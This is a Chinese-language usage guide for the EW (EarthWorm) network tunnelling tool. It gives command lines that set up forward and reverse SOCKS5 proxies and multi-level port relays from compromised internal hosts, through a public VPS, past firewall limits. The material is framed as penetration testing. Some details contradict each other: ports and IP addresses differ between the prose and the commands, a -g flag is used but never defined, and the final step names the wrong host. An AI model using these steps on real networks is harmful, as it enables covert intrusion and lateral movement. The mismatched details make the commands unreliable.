EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内。
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd、rcsocks、rssocks、lcx_slave、lcx_tran、lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
0x01 socks代理
ssocksd:用来开启Socks5代理服务
rssocks:本地启用Socks5服务,并反弹到另一IP地址
rcsocks:接收反弹过来的Socks5服务,并转向另一端口 其余的lcx链路状态用于打通测试主机同socks服务器之间的通路。
0x02 lcx 类别管道
lcx_slave,lcx_listen:端口转发
lcx_tran:端口映射
lcx_tran:该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_slave:该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_listen:该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
0x03 参数
-l 开放指定端口监听
-d 指定转发或反弹的主机地址
-e 指定转发或反弹的主机端口
-f 指定连接或映射的主机地址
0x04 正向socks5服务器
当目标网络边界存在公网IP且可任意开监听端口
ew_for_Win.exe -s ssocksd -l 8888
可在该目标机器上开启一个8888的正向连接,然后其他主机可通过设置代理为目标主机ip:8888 ,添加这个代理就可以使用了
0x05 反向socks5服务器
当目标网络边界不存在公网ip,通过反弹方式创建socks代理
先在一台具有公网ip的主机A上运行以下命令
./ew_for_linux64 -s rcsocks -l 1080 -e 5555
即在公网主机上添加一个转接隧道,把1080端口收到的代理请求转发给8888端口。
在目标主机B上启动SOCKS5服务,并反弹到公网主机的5555端口
ew_for_Win.exe -s rssocks -d 公网主机ip -e 5555
测试代理是否相通
0x06 二级网络环境(一)
假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168连通外网,一块192.168.153.140只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。
先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下
ew_for_Win.exe -s ssocksd -l 8888
然后在A主机上执行
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
意思是把1080端口收到的代理请求转交给B主机(192.168.152.138)的8888端口
然后my pc就可以通过A的外网代理10.129.72.168:1080访问B
0x07 二级网络环境(二)
假设我们获得了右侧A主机和B主机的控制权限,A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
1、先在公网vps添加转接隧道,把10800端口收到的代理请求转给8888端口
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2、在B主机上正向开启9999端口
ew_for_Win.exe -s ssocksd -l 9999
3、在主机A上利用lcx_slave,把公网vps的8888端口和主机B的9999端口连接起来
ew_for_Win.exe -s lcx_slave -d 公网VPS -e 8888 -f 192.168.153.138 -g 9999
4、此时my pc可以通过访问公网vps的10800端口来使用B主机(192.168.153.138)提供的9999端口访问到A主机